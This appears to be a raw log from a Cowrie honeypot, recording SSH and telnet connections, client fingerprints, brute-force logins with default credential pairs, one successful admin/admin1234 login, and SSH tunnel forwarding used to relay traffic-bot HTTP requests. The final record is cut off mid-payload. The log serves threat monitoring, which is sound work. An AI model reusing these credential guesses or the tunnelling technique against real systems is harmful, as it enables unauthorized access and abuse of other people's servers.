{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q\\x82\\xa3s\\\\\\xd4\\xa5\\x9c\\x9c\\xc9p\\x92G~q\\x14;\\x19\\xc8\\xdb\\x85t \\xc6p\\x98YKM||V \\xfb\\x02\\x08\\x8e\\x9d$\\n\\xae\\x94\\xe7\\xf1\\xd5R\\xf9\\xda\\xe1I\\xe4\\xd9\"*+\\x83\\xac\\x12\\x04\\xf1\\xb6gw:\\xe5\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 ;`\\xea\\xd24\\xa4\\xe0H\\x16\\xc8\\x00\\xbe+(\\xce\\'\\x88\\x8c\\x1e;\\x86\\xce\\xe8j\\x93/\\xd0)\\x9db6\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Q\\x82\\xa3s\\\\\\xd4\\xa5\\x9c\\x9c\\xc9p\\x92G~q\\x14;\\x19\\xc8\\xdb\\x85t \\xc6p\\x98YKM||V \\xfb\\x02\\x08\\x8e\\x9d$\\n\\xae\\x94\\xe7\\xf1\\xd5R\\xf9\\xda\\xe1I\\xe4\\xd9\"*+\\x83\\xac\\x12\\x04\\xf1\\xb6gw:\\xe5\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 ;`\\xea\\xd24\\xa4\\xe0H\\x16\\xc8\\x00\\xbe+(\\xce\\'\\x88\\x8c\\x1e;\\x86\\xce\\xe8j\\x93/\\xd0)\\x9db6\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:56.759887Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:57.128866Z","src_ip":"123.27.168.40","session":"ae0439e212a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:57.755409Z","src_ip":"91.92.40.36","session":"e8461f7a9152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34898,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae5febbf0f8f","protocol":"ssh","message":"New connection: 91.92.40.36:34898 (159.203.135.109:22) [session: ae5febbf0f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:02.719405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:03.050383Z","src_ip":"91.92.40.36","session":"ae5febbf0f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:04.552065Z","src_ip":"91.92.40.36","session":"ae5febbf0f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38764,"dst_ip":"159.203.135.109","dst_port":22,"session":"67191ed0642c","protocol":"ssh","message":"New connection: 91.92.40.36:38764 (159.203.135.109:22) [session: 67191ed0642c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:09.623437Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"P4ssw0rd","message":"login attempt [mysql/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:09.814596Z","src_ip":"91.92.40.36","session":"ae5febbf0f8f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:10.129645Z","src_ip":"91.92.40.36","session":"67191ed0642c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:11.452487Z","src_ip":"91.92.40.36","session":"67191ed0642c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:12.684381Z","src_ip":"91.92.40.36","session":"ae5febbf0f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38802,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a45467f02af","protocol":"ssh","message":"New connection: 91.92.40.36:38802 (159.203.135.109:22) [session: 4a45467f02af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:15.519670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:16.578547Z","src_ip":"91.92.40.36","session":"4a45467f02af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:16.583105Z","src_ip":"91.92.40.36","session":"4a45467f02af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123qwe","message":"login attempt [git/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:19.015524Z","src_ip":"91.92.40.36","session":"67191ed0642c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34040,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde029820ac9","protocol":"ssh","message":"New connection: 91.92.40.36:34040 (159.203.135.109:22) [session: bde029820ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:20.179862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:22.183008Z","src_ip":"91.92.40.36","session":"bde029820ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:22.187543Z","src_ip":"91.92.40.36","session":"bde029820ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:23.032911Z","src_ip":"91.92.40.36","session":"67191ed0642c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49548,"dst_ip":"159.203.135.109","dst_port":23,"session":"234634999990","protocol":"telnet","message":"New connection: 172.81.62.90:49548 (159.203.135.109:23) [session: 234634999990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:23.999640Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56599,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ce0673cc74","protocol":"ssh","message":"New connection: 113.164.152.20:56599 (10.17.0.5:22) [session: 57ce0673cc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:25.334380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:25.338746Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"family","message":"login attempt [testing/family] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:25.573657Z","src_ip":"91.92.40.36","session":"4a45467f02af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:25.640967Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234!@#$","message":"login attempt [ubuntu/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:26.446336Z","src_ip":"91.92.40.36","session":"bde029820ac9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:27.987784Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:28.394465Z","src_ip":"91.92.40.36","session":"4a45467f02af","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:28.481603Z","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:28.524752Z","src_ip":"91.92.40.36","session":"bde029820ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18782,"dst_ip":"159.203.135.109","dst_port":22,"session":"65cedaf10b59","protocol":"ssh","message":"New connection: 91.92.40.36:18782 (159.203.135.109:22) [session: 65cedaf10b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:28.975379Z"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:29.110732Z","src_ip":"113.164.152.20","session":"57ce0673cc74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; Redmi K20Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=clo8RD5XQmFkXyR3UT5UWg%3D%3DMZKppOvZvgeIV0Zpz%2BXQPWUUqYqg9Ebw5BTKWu6mHJ6homShpCaOYEnttJZB0FlmPDBhMMeSWcmnd3CWA9m8Ckn1kUmrt6nR6cEVvgqmdctRuOE4GQz1joADmvEXxoLcAj9Dhwl7tC4ltGUIhLYmLzB2uVnb7jRRqJaYSV6LVIoIzMtYOhaoV945V6%2BqBDsY3V%2FYigCP6B9HQJPXCLKDNE9Zgegk0m71fPrC0qq9bCAjWmV2jxcPJGE7ZtD%2BXEjLrmOezUh4xz4Ob2eHZZ2j0XOSZYQ2Sx08nOAW4lJn7gAZVJJozFsSgYndMDO%2Bg6%2FEBU0X%2BjTgU%2F7g5a92In%2FCMLOdoVI%2FO7Z2FL3eJryVcrpnbRRnJ60ZuvfnqRFV%2BtxFcjEd%2B%2BYbXuDVaZ1NbzqibiLwYj7QP3EInxxkGDpQVihncgy3QbWBFKa2poSewmpjN4ttyFMkD%2BOHb%2BPdOFmOB9Ombm5p4QWfJBY%2B%2FAJ%2FQm9qR%2B%2FVKqZh%2FH7wu1Qrw3U7bKUlZKXPXGu0X48MkleLXDmH%2BppI1KTWxX0puYC7WQegPno1okXg7AQE1uBRcElXkcyp%2FyM%2FtJUvucTeMlcA7b9RORLUMQ2rCUC1vi%2F2j3yL%2BSi3EcXww%2ByeYHkR0P0jWgpIXGhm4L6dR7wFUyxzw5FeqlZQ9ahb%2Bb6Gs%2FTZcIPsmPR7AYeZXYpBcDcjCcgJsPf33%2BnwxrqFcA4uLIExb3ajS%2F7Uno6etnuq4UTud0E7ydKypEHEk6UHH1CQLDj%2F3E%2BV%